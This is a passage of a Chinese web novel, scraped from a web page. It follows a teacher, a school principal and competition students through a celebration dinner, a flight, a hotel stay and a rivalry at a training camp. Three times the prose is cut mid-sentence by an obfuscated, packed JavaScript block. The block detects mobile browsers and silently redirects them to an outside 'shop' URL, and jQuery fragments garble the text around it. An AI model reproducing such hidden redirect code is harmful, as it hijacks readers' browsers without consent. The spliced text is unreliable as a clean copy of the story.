“……你还记得我有一天中午差点晚归吗。”严鹏飞保持45度仰望天空的脸上,额角突然抽搐了一下,透了些往事不堪回首的无语。 “昂,你说你再也不想看见食堂的青菜来着?”魏浩很有印象。 其实当时宿舍大门已经关了,严鹏飞还是翻墙进来的,在他回来之前舍友们还在打赌他有没有被抓住。 “当时准备中考,盛主任请年级前十吃饭,希望我们高中留在铁山。他跟食堂预定的时候太啰嗦了,阿姨空耳没听清人数,只准备了四个人的分量。” “食堂只准备了四荤两素。盛主任让阿姨加的时候已经晚了,肉菜来不及做,最后补上了30斤青菜。” “哦,还全是大白菜。吃不完还让我们打包。”幸亏他在没打完包之前就跑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406479|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不然后面两天还得啃两天草。 智者千虑必有一失啊!这简直是对面友校招生办派来的卧底。 唐瑜嫣没忍住,笑得连咳了好几声,“哎哟,这你们还不跑?友校的怀抱永远向你们敞开!” “校长还在这呢!铁山才是你们永远的家!”宋飞珑立马抗议,敲她的额头,“说话注意点!不要在校长面前挖墙脚!你这个月的校长满意奖没了!” “……这是个什么奖?”唐瑜嫣笑着别开他的手,“那正好,你这两天在我这加的好感度也清零了。” “没事,那我重头追。”宋飞珑很大度地表示。 此话一出,对面那群小孩儿一下全噤了声,齐齐竖起耳朵,贼眉鼠眼地相互瞟了一圈,交换了几个眼神,然后眨巴着眼睛期待唐瑜嫣的反应。 唐瑜嫣偏不随他们的意,“好奇啊?有这闲工夫八卦我,不如提前点几个菜坑你们宋校长一回。宋大老板可是能叫人打包海鲜大餐过来的。” “我的妈呀你们这些腐败的资本家,躲在包厢里吃香的喝辣的,到底是赚了多少!” 魏浩立马表示了对世界大有参差的愤怒,并在下一秒转头加入他们的行列,“那宋校咱能整几支香槟来吗?” “你满18了吗?”唐瑜嫣双手交叉抱胸。 “四舍五入再约等近似一下……” “……以后别往外说你是学数学竞赛的。” 斗着斗着嘴,他们一行人就顺着红毯,一路从体育场走到了食堂楼下。 宋飞珑不得不礼貌打断他们师生的友好交流,“现在上去等还是等会儿再来?” “上去等吧,别给他们通知冯熠的机会。”唐瑜嫣冷酷无情,“大家伙也都累了。” 宋飞珑自然是随她的,不知道为什么,他一直很享受注视小唐的时光,看她时不时呛别人两句,呛过头了又笨拙蹩脚地安慰几句。 看他们聊天,就,很有意思,很好玩,很青春,天南地北,什么都可以扯上两句,没有太多社会身份的束缚,合得来就聊,合不来就散。 或许他这么努力保住铁山,就是希望能保留这么一个小小的乌托邦。 孩子们毕业后各奔东西,各自有际遇做导游,等他们踏遍名川大山之后,再次回到这里,仍能记起他们第一次踏入这里的悸动。这是如此真挚又热烈,难得且可贵。 他们刚准备开饭的时候,冯熠还是赶过来了,不知道是谁走漏了风声,或者是小唐本来就没瞒着他。 等冯少爷骂骂咧咧地坐下后,他们便开始动筷,没有美酒,但杯子中晃动的饮料也足以照出他们的笑脸。 他们举杯,他们祝词,他们自诩有无限可能。 宋飞珑想,啊,他还没说今天聚餐是为了什么呢。虽然大家都知道是为了庆祝姜程阳旗开得胜,竞赛部众人各有归处。 但不说,总有些无名无分的,这不好。 于是他站起来,拿着喝得只剩半杯的饮料。既然如此,那就,敬各位自己,敬竞赛部,敬铁山。 “有些煽情过头了呢……”他被唐瑜嫣拉着坐下的时候默默想。 可是在他眼里,小唐和这帮孩子们的一举一动,所聊的字字句句,就是如此独特且饱含浪漫。 换句话说,这证明了他所坚持的一切,都是有意义的。 31. 第 31 章 “小唐老师,我们就这么出发了?”冯熠还有些没缓过劲来,就被推上了飞机。 装满日用必需品的大箱子被送上了托运,如今两手空空,一种不真实感萦绕在他的脑中,一个月过得这么快? 校运会好像还在昨天……而且最重要的是,他还什么都没学会呢! “是啊,很快吧…再恍惚一下明年的竞赛就要来了,竞赛结束高考就来了,高考完了你们就上大学了。哦,听我一句劝,珍惜当下,别对未知的事物抱太大期望。”唐瑜嫣正帮他把包塞到行李架上,闻言随口搭了一句。 中学生活就是这样,埋首在冗杂的课程和题海中,一低头一抬头,晃眼间,去年初三,明年就高三,日子过得飞快。 她把手搭在座椅靠背上,不只是提醒冯熠,“对了,大家在别人地盘上少惹事,那儿不是铁山,出了问题老师帮忙没那么及时……” “不过也怕事,别让别人欺负到头上了还窝窝囊囊的。” “还有姑娘们有事直接来找我和徐老师就好,来生理期想请假这种事都可以说。总之大家出门在外安全第一。” 本次外培很是非常规,所有学科在学期中同时同地举办,据说是为了请到那几个业界闻名的大教授,特地腾出的时间,可见含金量之高。 所以为了能让这群孩子加入这次外培,他们老师上上下下操碎了心。 嘱托完后飞机也快起飞了,唐瑜嫣走向自己的座位,远远就看到宋飞珑已经自觉地坐在了她旁边,还帮她弄来了枕头和毯子。 她踌躇了一下,一时不知道该说些什么,嘴比脑子快三分,“你有没有觉得我们像小学鸡谈恋爱。” 和六七岁的小孩儿一样,每天交换点小礼物,忙起来就各忙各的,闲下来就面对面吃个晚饭,肩并肩吹着风,伴着民谣在湖边散散步,大半夜在城市的角落各处压马路,观察下班后疲惫又孤单的行人。周末再去他家大观影室看几部电影,顺带点评一二。 虽然这确实让她的灵魂得以舒缓,能有片段闲暇安放某些不可多得的浪漫。但未免也太柏拉图了,一点成年人的激情都没有,同时缺少了一些宛如童话般的山盟海誓,莫名显得有些寡淡。 他们最大的肢体接触甚至还停留在散步时的牵手,看电影时的倚靠。 唐瑜嫣虽然称不上特别开放,但这也太…有种不真实感,她真的拥有这个人了吗? 故而在某次散步,唐瑜嫣提出希望能和他有一些进一步的、更为亲密的、属于恋人的行为,没想到竟惨遭对方严词拒绝。 看着宋飞珑满脸无辜的表情,颇有一种纯情少男即将被恶霸玷污的慷慨就义感。 唐瑜嫣直接被气笑了,21世纪竟有如此封建老古板,于是她甩了一串佛珠让他盘着玩,“呵,京圈佛子。” 这厮铁了心要慢慢追她,表明自己还没有升级为她的男朋友。他要循序渐进地,一个阶段一个阶段地达成小目标。 而这个月具体表现为他三天两头都会给她准备点不同的小惊喜。 不是送几盆他自己在家里温室整出来的杂交花,就是弄几个自己搓的、奇形怪状的艺术花瓶,反正就是一大堆杂七杂八的小玩意。 仅仅一个月,他送来的美丽废物几乎占满了唐瑜嫣自己家和教师公寓的每一个角落。 她有天晚上下定决心要把这些装饰品安置到合适的位置上,埋头苦干几小时。 等整个家都被摆得大变样后,她盯着一衣柜的新衣服沉思,要不她还是重新装修一下家,再安几个大储物柜吧。 于是在她再一次打开宋飞珑新送来的首饰盒,被里面闪烁的光晃花了眼的时候,实在有些没忍住,把那几颗大钻石他那边推了推。 她真诚地询问:“我很感谢你每天都有新花样,这让我很惊喜,但少爷你真觉得我能用得上这些吗?还是想把我的衣食住行全包了?” “用不上就摆在家里看,你不是刚回来吗,又是一个人住,家和公寓里空荡荡的怪冷清的。”宋飞珑看起来很无奈,“你办公桌就光秃秃的。” “至于衣服首饰,是我妈听说我在追女孩子,让她助理准备的,她衷心祝福我表白成功,不要单身一辈子。” 唐瑜嫣无言以对,不过一想,自己去挑这些装饰性的小玩意与当季衣物,哪有有人全权代劳舒心,便由着他去了。 而此时飞机上,宋飞珑听到她用小学鸡来形容他们俩,有些忍俊不禁,戏谑地反问她:“所以你就是馋我身子?如果你非要这样,那也不是不行。” “……” 有些时候唐瑜嫣真想打开他的脑子看看里面到底装了什么。 “其实我想说的是,你不觉得这段时间顺利得不真实吗,像活在还没结尾的童话故事里,完全不用考虑柴米油盐。” 没有吵架,没有挫折,没有任何不舒心的事,跟她之前预想的完全相反,从焦虑各种现实因素到如此安心没给她半点压力,简直像两个极端。 虽然他们俩都是效率极高且成熟自洽的人,但按理来说怎么也该有一些小摩擦,生活上的,工作上的,但都没有,宋飞珑在方方面面都处理得太完美。 但这如此梦幻般顺利反而让她陷入了一些更为奇怪的迷思。 “非要吵架和误会才能推进我们的关系吗?”宋飞珑倒不觉得奇怪,撑着头向窗外望,“我认为这种想法很畸形哎!我们很合拍,那就是天生一对……” “而且我们之前的误会还不够大吗!我们未来十年有关误会的kpi都已经达标了!” “…不是,就,你不觉得你完美得像我幻想出来的吗。”唐瑜嫣想了半天才想出一个合适的形容词,“从某种程度而言,你像一个无差错的……机器?” “有吗?”飞机开始颠簸,估计是上跑道了,宋飞珑盯着外面瞬息而过的航站楼,景物在眼底迟滞地暂留感让他觉得眼睛有些干涩。 他眨眨眼,顺着她的话想,“其实我也有很多缺点啊,作为一个集团的继承人,居然在金融和管理上毫无天赋,还跑去学化学了,就这点儿我已经被唠了十几年了。” “……也不是这种,而且你不是也靠别的办法解决了……就,你懂吗,感觉你没有什么,阴暗的负面情绪?愤怒?难过?” “这同时也让我怀疑,我到底是哪里吸引你了。”唐瑜嫣上下打量着他,这人的身体里永远充满蓬勃的力量。 回想起来,她好像从没见过他崩溃慌张流泪的样子。唯一有过破绽的一次……应该是高二竞赛外培那个晚上?大晚上找她叽里咕噜说了一大堆,想骗她喝咖啡然后陪他彻夜长谈。 哎……以前情绪还能猜猜,自从她回来以后,这人的行为言论就变得愈发滴水不漏。 “我应该这样吗?”宋飞珑嘴角的弧度收了收,他听见唐瑜嫣的声音里夹杂着飞机发动机的嗡鸣。 “可是吵架和流泪不是解决问题的好方法,都是一些生活上的小事,无足挂齿……而且我也有过对我人生价值的怀疑,但这不会影响我正常的生活节奏。” “小唐,你不用怀疑,像我这样的人啊,这辈子最幸运莫过于能找到一个完全对上自己电波的伴侣。” 因为小唐呀,是个很纯粹很勇敢很厉害的人呢。 而且于他而言,她是理想世界里的现实锚点,证明了他所期待的一切都是存在于世界上的。 “但人总应该有脆弱的时候,你父亲……”唐瑜嫣越形容越混乱,差点就直戳他的伤口。 她立马拉下眼罩,“算了,没什么,睡觉……以后要是情绪不好的时候记得和我说,我们一起面对。” 反正这人对她是真心的就好,她也懒得管这是不是符合世俗模版,每个人都拥有属于自己的爱情。至于以后,再具体问题具体讨论吧。 眼罩的遮光性很好,比夜晚拉灯还要安心上三分,唐瑜嫣琢磨着宋飞珑非常人的三观,这人真是个现代人吗,理想得可怕,没根绳子拴着就要被吹飞得程度…… 想 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怎料这方面的理解不见长,反倒学会了各种行家话术,更是增添了他的疑惑,这个社会真的有那帮愤世嫉俗的人嘴里说得这样烂吗?时时刻刻会出现解不开的矛盾。 家庭矛盾、阶级矛盾、性别平权、极端环保主义……人人能发言的时代,社会好像真的无可救药,每个人都有吃不完的苦,每个人都是阴沟里的老鼠。 但他不这么觉得,道不同不相为谋,也无法论出个是非黑白。 只是经此学习,他想起了那句曾震撼他心灵的话,既然无法与人群通向,那便视他人疑目如盏盏鬼火,大胆开始走自己的夜路。 在经历一番挣扎后,他解构出了自己的思考与行事逻辑,觉得自己应该从源头上改变点什么,让大家能够更公正平和地看这个世界。 有了目标后,行动就不会迷茫。他愈发喜欢教育,喜欢去和学生与孩子交流,他们的心思很纯粹,做事没有复杂的动机,永远为着更好的未来努力。此类种种皆成了他的人生观的一部分。 那爱情观呢?他的爱情观好像也很简单,既然喜欢上一个人,那就把期限拉到一辈子,把所拥有的最好的一切都献给她。 所以无论是在唐瑜嫣把他删了那段时间还是独自纠结的那个月,他很早就做出了决定,他没有一刻怀疑过自己是否爱她。 虽然他已经做出了选择,但他不能太过干涉她的选择,他不告而别是事实,况且他也缺席了那么多年。 如果她真的因为自己感到难过,那倒不如离得远远的,祝她天天开心,她自己的人生就足够精彩,无论他在与不在,他的星星啊,可不能因为他熄灭了。 唐瑜嫣其实没太听清楚他在说什么,随便摆了摆手让他退下,敷衍了一句,“羡慕什么?难道我的朋友不是你的朋友吗?你还不够受欢迎吗?你在发什么疯?” “天呐,亲爱的,你简直是困晕了,算了,反正你肯定理解。”宋飞珑失笑,把她的枕头移到自己肩膀上,侧着睡舒服点。 飞机穿越了云层……这是对流层还是平流层?宋飞珑隔着她往窗外望,脑海中没来由地跳出了这个问题。上次看初中地理恍如隔世,他有些记不清了。 但可以确定的是,此时此刻,在万米高空上,晨昏交际时,流云与晚霞对映,蔚蓝与赤橙相撞,绵绵延延,一望无际。如果让他来形容,怎么也算做一种日照金山。 宋飞珑的视线沿着光线,从远空重新落回唐瑜嫣的脸上,真耀眼啊,像是要把他的心填满。 不过,可不能让光影响到小唐的睡眠,他想。 ——想到这他下一秒便毫不留情地关了窗,不透光的有机共聚物把云朵与光隔绝在了窗外,周围一下又陷入黑暗。 嘘,这样就好,小唐可以好好休息一下了…… 他满意地想,只是可惜了老天难得露出的好脸色……嗯……不对,也不可惜,小唐本身就很耀眼,无须借助老天来证明。 32. 第 32 章 全因宋飞珑特意维护,唐瑜嫣最后是被落地时那一下猛震给颠醒的,她慢悠悠地扯开眼罩,问句里夹杂着些没睡醒的惺忪,“到了?” “快了,在滑行。”宋飞珑的声音贴着她耳畔响起,带着一种酥麻的震颤,像细微的电流钻入耳廓,沿着听小骨一路渗进去,直抵神经末梢。 “……那不急。”唐瑜嫣暂时不想理会这人莫名其妙地放电,施施然闭上眼,打算再睡一会儿,毕竟他们还要在地面滑好长一段时间呢。 “这简直是充分得不能再充分的理由,”唐瑜嫣安心地想,伸手去拉眼罩,助力人工熄灯。眼罩拉到一半,她突然反应过来,“等等,不对!我不是大学生了!” 飞机落地处也不是那个需要在地面滑行四十分钟才能蹭到接驳口的浦东机场了。 她立马拍了拍脸表示懊恼,“搞错了……” “怎么,想到浦东了?”宋飞珑跟她想到一块儿了,“说起来,我还没去过你大学看过呢!下次有机会……嗯?怎么了?” 唐瑜嫣把眼罩卷成一个圈,塞进她的包里。对于宋飞珑这不知死活地畅想,她还没等对方说完便冷笑一声,话里话外充满了怨念。 “魔都的大学,有几个的校区真在市中心?不是东临海湾,就是隐于郊野。你想去那种地方能看什么?领略当代废土风情建筑吗?” “我是想看那白砖红漆的建筑吗?我只想逛逛你生活了四年的地方!你当年集训的时候都去过我们学校,礼尚往来也该……”宋飞珑笑里带着些咬牙切齿。 “我就在你面前了你去搞这种怀旧干什么?这种不是苦情男主才干的事吗?”唐瑜嫣双手抱胸,甩了个眼刀过去以表不满。 她的大学生活堪称跌宕起伏,好的坏的、预料之中与突如其来的事,都遇了个遍。以至于情节太过曲折,此时此刻竟不知从何讲起。思来想去,倒不如就把它概括为四个字——人生阅历。 经历的事越多,她越发觉出宋飞珑那时或许是对的。未来杳渺,变数丛生,他们最应做的,正是把握当下,只争朝夕。不过在没真正切身体会之前,这都是充满说教味的后世之语。 也不知道曾几何时崇尚刀耕火种的部落,所谓代代相传的祖训到底是如何说服子孙一辈的,不会被说“登味”重吗?好吧,扯远了,毕竟“登味”一词是在后世才被造出来的。 思绪渐渐飘回,唐瑜嫣开始细想有关她大学的事,想了半天还是支棱不出一句话。无关逃避,只是故事过于精彩,以至于枝枝杈杈四处疯长,缠枝绕藤,反倒沾着别样滋味堆在心头。 不过无论当时是何种心情,说到底都是过去的事,此时再议难免矫情,倒不如留白以求隽永。 唐瑜嫣也不愿继续纠结于此,话锋一转,将刚刚没说完的半句话从齿间挤出来,“你要珍惜眼前人好吗。”比起刚刚中气十足地反问,声音也算是低了几分。 “…行,好的长官,知道了长官。” 见她神色复杂,宋飞珑便不再多问,率先侧身引路,语气轻快地将话题带开:“报告长官,咱们到站了。接下来由我护送您移步机场大厅——司机已在路上,稍候就到。” 可能是地域上相隔不远,落地这边的温度气候、人文建筑差异并不大,也可能是在魔都生活了五年,看其他城市都少了几分年少时的惊奇。 拉着箱子站在加速带上时,唐瑜嫣内心并没有产生一种,“啊,我到了一个陌生的大城市”的实感。 所以从某种程度上来说,这也是人生阅历这四字的价值所在,至少她有了和以前不一样的眼界,可以站在不同的高度看待问题。 唐瑜嫣取完行李箱后一边刷手机一边靠着宋飞珑走,对方问她有什么特别想去的地方。 “……没有,但我听说这边吃得挺多的,中途放假可以去尝尝。” 她刷了好几条帖子,那些博主拍出来的照片色彩饱和度极高,给人一种视觉冲击的美味。即使隔了一个次元,香味都像要冲出屏幕。 宋飞珑偏头看了眼她的手机,没做什么评价,轻笑道,“好,那我们有空去逛逛夜市吧,顺便给集训的这帮小孩儿开点小灶……” “话是这么说……但总有一种无痛养了一堆孩子的错觉。”唐瑜嫣有些无语,“也好,自己从小培养一个太麻烦了,还是十六七岁的学生好玩……” 有一定的思想,但三观还没完全确立,坏习惯可以纠正,有朝气又活泼,随便搭个台子就可以唱一出戏。 “哎!对吧!所以我以前天天跑德育处!”宋飞珑欣慰极了,“现在知道我的良苦用心了吧!” 这么聊着聊着,他们就坐到了大巴上。上车再迷迷离离一小会儿,抬头就到酒店了。 唐瑜嫣怔在原地,颇为震惊地看着无论是在眼前脚板底下,还是在天灵盖上,都装修得金碧辉煌大厅,吞吐着无时无刻不弥漫在周围的迪奥真我香水,一时不知该说什么好。 刚刚还说眼界提高了,进了高奢酒店又被刷新认知,贫穷真真是限制了人类的想象力。 过了好一会儿,唐瑜嫣才悠悠转醒,“我们不住他们学校宿舍吗?”什么时候出差能有这么好的待遇了,在这住两三个晚上就抵一个月工资了吧。 “光装学生人家学校就超负荷了,那边叫我们自己联系住宿。”宋飞珑回答,“自己住就住好一点啊,好了,六七八层都是我们的,你和小徐住是吧,你先挑吧。” 看着宋飞珑一手的长得一模一样的房卡,唐瑜嫣也懒得挑,随便抽了一张完事。 她把卡拿在手上把玩,靠在前台想等宋飞珑一起上去。 但因为在不影响正常教学的前提下,附中能来的老师都来了。大厅里不说人山人海,至少也是乌泱泱的一大片。 宋飞珑忙着给其他老师发卡,也不知道为什么发房卡这种小事能落到校长身上。 唐瑜嫣等了老半天那边还没掰扯清楚,索性拉着徐真先行一步,走之前不忘过去嘱咐一声。 “没别的要求,别把老盛放我们旁边,我怕晚睡晚起踩点又被他抓。” 宋飞珑忙碌中比了一个ok,大抵是我做事你就放心吧的意思,唐瑜嫣便满意地上楼了。 徐真冷不丁被她拉走,眼睛还死死黏在大厅那奢华至极的大壁炉上,心已经飘到不知道哪座梦幻岛,俨然早已忘却她是来出差学习的。 “哎唷小唐,别急别急,再让我瞻仰一下……” “你知道吗,这酒店特适合搞cos内景,哇塞这巴洛克风,这吊灯,这沙发,就算不搞cos穿洛丽塔也好看啊。” …… 与老师这边因为可以住豪华酒店而欢天喜地不同,竞赛部学生们是另一种激动。 ——别人还在上课的时候,猜猜我在哪?我出省了!你先别管我是不是也要上课,就说独不独特爽不爽就完了! 冯熠浑身上下都爽了,但并没能高兴太久。他刚大摇大摆地上了车,一看到带队老师,脸就垮了下来,“王主任,怎么是您?” 出现在大巴车第一排的赫然是之前对他们十个行为有九个不满的竞赛部王主任。 闻言,王主任冷笑了一声,“呵,怎么,是我,你不满意?” “这我真不敢,您可别蛐蛐我了。不是,那咱唐老师去哪了!” 冯熠俨然是领悟了滑跪的关窍,还没等对面生气就顺坡往下滚。 “你说有没有一种可能,我才是竞赛部的主任呢?小唐他们自己有培训,我回来守守家很奇怪吗?” 还没发起的火被提前熄灭,王主任随便损了他两句就轻轻放下。他想起自己还要布置点安排。 “行了,既然出来了我们就是一个集体,一个集体就要有班长。冯熠,放下你的手,就算你现在收敛了很多,我也是不会相信你的!” “主任,您不是原谅我了吗!我可帮您扫了整整两个月办公室啊!”冯熠委屈极了。 “我现在看到扫把闷头就是扫,上次在家里我爸妈还以为我中邪了,硬把我们家家庭医生叫过来,说要给我看脑子!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406481|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还有,谁说我要当班长了!我要举荐,我举荐严鹏飞!” “我不当!”严鹏飞吃一堑长一智,原本还望着窗外发呆,听到班长两字立马回过神来,语速飞快拒绝。 “你们还唱起双簧来了!”王主任无语透顶,职业习惯作祟,他下意识抬手想重重拍下讲台。 谁知道天不时地不利,回应他的只有椅子软垫的闷响。 他只得尴尬挠挠头,指了指坐在他旁边带着厚厚眼镜框的女孩。 “老师们一致决定让肖筠云当班长,谁赞成谁反对,好,都赞成是吧。没事,反对也没用。” 肖筠云站起来向所有人点头示意。 冯熠本来还想竞争一下,一想到人家曾蝉联过好几年班长,瞬间闭上了嘴。于是这事就这么定了。 “王主任,我们是住人家学校的宿舍吗,那老师们呢?” 魏浩有些晕车,一上车就靠在椅子上苟延残喘,好不容易终于缓过来一会儿,没想到一问就问到了重点。 “哎,对咯,终于有人问了。你们住人家空宿舍,我们老师们没地方住,只能住附近的酒店了。” 王主任暗戳戳地秀了秀,“六人一间,名单发给班长了,等会儿你们自己看,还有……” “还有我们应该要自己铺床,”参加过一次外培的严鹏飞突然想到了什么,状似不经意地转头看向冯熠,“少爷,您会铺床吗?” 冯熠感觉自己被小看了,他瞪大了眼,义愤填膺扫了所有起哄的人一圈,“嘿,看不起谁呢,不就铺个床吗,有手就行!” “不就是铺个床吗,有手就行啊少爷!” 魏浩三下两下就干净利落地铺好了床,靠在一边幸灾乐祸地看着冯熠,“我说真的,真不用我帮忙吗?” 其实来外培的少爷中有一半都不会铺床,但人能屈能伸,张嘴就是认爹求助,眨巴着眼杵在一旁,等待“长辈”们出手帮忙铺好。 “哈,说了不用就是不用!”冯熠在车上已经夸下海口,现在就是死鸭子嘴硬。在老师面前已经逞不了威风了,至少不能在同辈面前再丢脸! 于是等到人家都来催集合开会了,他才堪堪铺好床单,然后水灵灵地卡在了套被子这步。 冯少爷纵使心里已经骂翻了天,脸上却依旧保持着自以为信心十足的笑。 不过他手上的动作却暴露了一切。捏着塞到一半的被套的一角,冯熠尬在了那里。 “嘶,这到底哪个是长哪个是宽,哪个角对着哪个角,这怎么感觉不止四个角呢。” “嘶,别急。再给我几分钟,我一定铺好给你们看!”冯熠继续大脑风暴。 你瞅瞅,都这样了,这人依旧不服输,正可谓是死要面子活受罪。 看着在被套里坨成一坨的棉胎,魏浩很不厚道地笑了,扒拉着旁边在暗爽报复成功的严鹏飞。 “哎哟少爷你继续,我不打扰了,不过我还是要斗胆问问你具体还要多久。人家已经来催集合了,你要我们等你吗?” “不用,你们先去!” 冯熠本来就快装不下去了,更说不出他还要捣腾多久。一听他们要走,那是一个心花怒放,哦,上帝,让这帮死样有多远滚多远去吧! 魏浩想了想,反正会议室就在对面那栋楼,还有别的学校的人陆陆续续赶过去,怎么说也不会迷路,就安心地跟着大部队走了。 谁能想,等到冯熠终于把棉胎强硬地塞进被套里——实际上是长和宽彻底弄反,进而已经自暴自弃了,那边会都快开完了一半。 冯熠下楼后看着空空如也的校园主干道,脑袋更是空空如也,一时间真傻了眼,“我去,我要干啥来着?” 虽然依旧在南方,但十二月也算得上凛冬已至。站在空旷的街道上,一股寒风夹带着树叶,披头盖脸地就向他卷来。 要是唐瑜嫣在旁边一定会夸他是风中凌乱的美男子。“这真的是夸不是锐评吗?”冯熠苦着脸想,抬手把叶子从脸上扫下,拖着沉重的身躯,开始挨个教室摸索。 33. 第 33 章 最终冯熠还是在热心的本校学生的帮助下成功找到了会议室,只是还没等他推开门进去,人家已经散会了。 不过这也算不上什么大事,魏浩他们早就猜到了冯少爷估计是被被子绊住脚了,签到的时候顺便帮他把名字签上了,至于会议上那些内容,翻来覆去无外乎就是那些句水话,不听也罢。 总而言之,本次会议最为重要的意义,是为唐瑜嫣和学生们的集训教培生活,隆重拉开了序幕。 集训辛苦确实也辛苦,早上考试下午讲题,考试积分还累加排名,每天都像蛊王争霸赛。并且考一早上试还不算最磨人的,最磨人是按照竞赛这个难度,就算是大神中的大神,这几小时下来都很难写出几题,很容易让人怀疑自己到底在坚持什么。 但好在主办方还有那么点良心,给他们午间晚间都准备了正式学术会议式的茶歇,于是每每到了下课,就会定时出现一群学术蝗虫疯狂搜刮小蛋糕小零食的画面。 今天数学竞赛破天荒地放得早,魏浩难得一个人先过来摄入小蛋糕。他在心里琢磨着刚交上去差点算完的那题,手不停地往嘴里塞抹茶千层,面前的盘子都快被他薅秃了。 于是乎,他又把魔爪伸向了另外一盘滑蛋虾仁三明治。这也是个稀罕货,光他们数学竞赛的学生吃,仅仅五分钟,就只剩下最后一块。 意识到它的抢手,魏浩赶紧往盘子里摸,没想到竟摸了个空——好吧,被人捷足先登了。 他也没当回事,小三明治罢了,不缺这一块,再加上唐老师和宋校这段时间有空就去夜市溜达,三天两头带一大堆烧烤半夜进来投喂他们。嘶,那孜然撒上去真的香,西德一中的学生平时吃的还是太好了。 想到这魏浩又舔舔嘴唇,决定央求唐老师今晚再打包一份麻辣小龙虾进来。 不过事情好像没有想象中的简单。等他不知道第多少次被同一个人抢走目标猎物的时候,才后知后觉地有些愠怒,“兄弟,虽然我现在不是学术泰斗,但是你非要和未来的学术泰斗抢小蛋糕吗!” 没想到对方对他的反应甚是满意,很快就说出了那句著名恶霸反派的话:“你就是魏浩是吧,最近爬榜爬得最快的那个。你知道我是谁吗?” 魏浩一听,愣住了,坏了,他真不知道。这次集训规模太大了,好几个省的重点高中都有参与,平时大家也有自己的朋友圈,短短一周内几乎不可能认全人。 于是他上上下下地打量了一下对面——妈呀,还是一个酷炫的潮男,从头开始分别是抹了几吨发胶的美式前刺,歪着嘴邪魅的笑容,双手交叉抱胸强凹出的完美姿势。 学竞赛居然还有时间捣腾自己的造型吗,魏浩实在是佩服。还有,这旁边围成一群的,是他的小弟吗? “哥们,我真脸盲,你能自己报报身家姓名吗?”魏浩把身子转向他,真诚地请求。 “哈?你小子怎么敢的?我们龙哥你都不认识?” “龙哥,别信他,这就是挑衅,你也配让龙哥说出他的大名?” 呃,不出意外地拱火。 “哈!你来集训不看自己排名前面的人吗?”美式潮男哥还在硬装,挥了挥手让起哄的闭嘴。“不过既然你诚心发问,我就勉为其难地告诉你。我,龙竞泽,学竞赛前是本校年级第一,现在是数学竞赛排行榜上积分第一!” 嘶,这积分第一来找他干啥,宣战吗?还有这个名字,一听就很……哈哈,符合行为。这几句话实在嘲点太多,堵得魏浩不知道接下来该怎么开口。 “哟哟哟,看到没!龙哥,他被吓傻了!”有人嘲笑。 正巧这会儿其他竞赛的学生也下课了。看见他被一大群不认识的人包围,严鹏飞皱着眉头就往他那儿去,冯熠见状也赶紧拉上几个哥们,过去给他撑腰。 “龙竞泽?你干什么?”没想到严鹏飞一眼就认出了对方龙哥,“没事找事?” 魏浩被他好几个兄弟挤到身后,有些感动,又有些无语,“不是,严鹏飞,人学数学竞赛的你也认识?没事……我也不知道他们要干啥,没被人海战术欺负。” “你们一个学校的?”龙哥也有些惊讶,不过很快又把他的邪魅笑容挂回去,“那就好说了,我,要和他比试!我们就比最终截榜谁的排名高!至于赌注……” “龙竞泽,我们没有答应。”严鹏飞打断。 “是啊,你在逼逼赖赖什么,你说要比就比啊!”冯熠帮腔,“你在装什么啊!” 龙哥明显没学过忠言逆耳这个词,或者是本能就把不想听的言论直接过滤。他摩挲着下巴,“嘶,好像就我们比好无聊啊,要玩就玩大一点。要不我们变成校赛吧?四学科各出一个人,搞累加!” “这样大家都有参与感了哈哈哈哈,哎哟,善哉善哉,所议皆立于民,所言皆惠于民哈哈哈哈哈,我真是个天才哈哈哈哈哈哈!”傲世狂龙越说越激动,还忍不住仰天长笑起来,嚣张的笑声传遍整个餐厅。 ??????这是何意味?怎么就,拉着所有人下水了? 附中这边的人都目瞪口呆,对面却已经见怪不怪,还贱贱挑衅,“你们该不会是~不敢吧?” “谁不敢,我接……”魏浩本来就喜欢跟厉害的人比划一二,人家都送上门来了,此时不比还待何时?却被冯熠飞速捂住了嘴。 “老魏你别……这才憋了几天…你又想去跟人家金牌预备役打了!” “我才憋?我去,连对面都知道我不看榜不看排名,一心只读圣贤书了。这还不够证明什么吗!”魏浩使劲挣扎,想重新挤回前排。 “至于赌注……岳麓山知道吗?早上四点,我们从南门上,看日出,再从东门下。输的那边,帮赢的那边扛水扛包扛相机!”龙哥已然默认他们接受了,兴奋一拍手就下好决定。 “龙竞泽,你听不懂人话?”严鹏飞话里透着寒气,“你忘了你是怎么被打去数学竞赛的吗?”还有,输了就算了,怎么赢了也要去?到底是谁想和他们在大早上天没亮的时候,一起爬山看日出啊! “那还真谢谢你啊,你上次集训提点过后,我就只专心一门竞赛了。要不是这样我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406482|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 